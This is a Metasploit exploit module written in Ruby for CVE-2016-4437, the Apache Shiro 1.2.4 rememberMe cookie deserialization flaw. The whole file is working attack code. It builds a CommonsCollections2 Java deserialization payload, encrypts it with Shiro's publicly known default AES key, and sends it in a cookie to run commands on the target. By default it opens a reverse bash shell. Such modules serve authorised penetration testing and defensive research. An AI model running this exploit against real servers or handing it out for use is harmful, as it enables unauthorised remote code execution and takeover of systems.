adfoster-r7
92 lines
2.7 KiB
Ruby
92 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Powershell
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include Msf::Exploit::JavaDeserialization
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Apache Shiro v1.2.4 Cookie RememberME Deserial RCE',
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'Description' => %q{
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This vulnerability allows remote attackers to execute arbitrary code on vulnerable
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installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may
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also be exploitable if the encryption key used by Shiro to encrypt rememberMe
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cookies is known.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'L / l-codes[at]qq.com' # Metasploit module
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],
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'References' => [
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['CVE', '2016-4437'],
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['URL', 'https://github.com/Medicean/VulApps/tree/master/s/shiro/1']
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],
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'Platform' => %w[win unix],
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'Arch' => [ ARCH_CMD ],
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'Targets' => [
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[
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'Unix Command payload',
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{
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'Arch' => ARCH_CMD,
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'Platform' => 'unix',
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'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
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}
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],
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[
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'Windows Command payload',
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{
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'Arch' => ARCH_CMD,
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'Platform' => 'win'
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2016-06-07',
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'Privileged' => false,
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'DefaultOptions' => {
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'WfsDelay' => 5
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},
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'Notes' => {
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ IOC_IN_LOGS ],
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'Reliability' => [ REPEATABLE_SESSION ]
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}
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)
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)
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register_options(
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[
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OptString.new('TARGETURI', [ true, 'Base directory path', '/']),
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OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA=='])
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]
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)
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end
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def aes_encrypt(payload)
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aes = OpenSSL::Cipher.new('aes-128-cbc')
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aes.encrypt
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aes.key = Rex::Text.decode_base64(datastore['ENC_KEY'])
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aes.random_iv + aes.update(payload) + aes.final
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end
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def exploit
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java_payload = generate_java_deserialization_for_payload('CommonsCollections2', payload)
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ciphertext = aes_encrypt(java_payload)
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base64_ciphertext = Rex::Text.encode_base64(ciphertext)
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send_request_cgi({
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'uri' => target_uri.path,
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'method' => 'GET',
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'cookie' => "rememberMe=#{base64_ciphertext}"
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})
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end
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end
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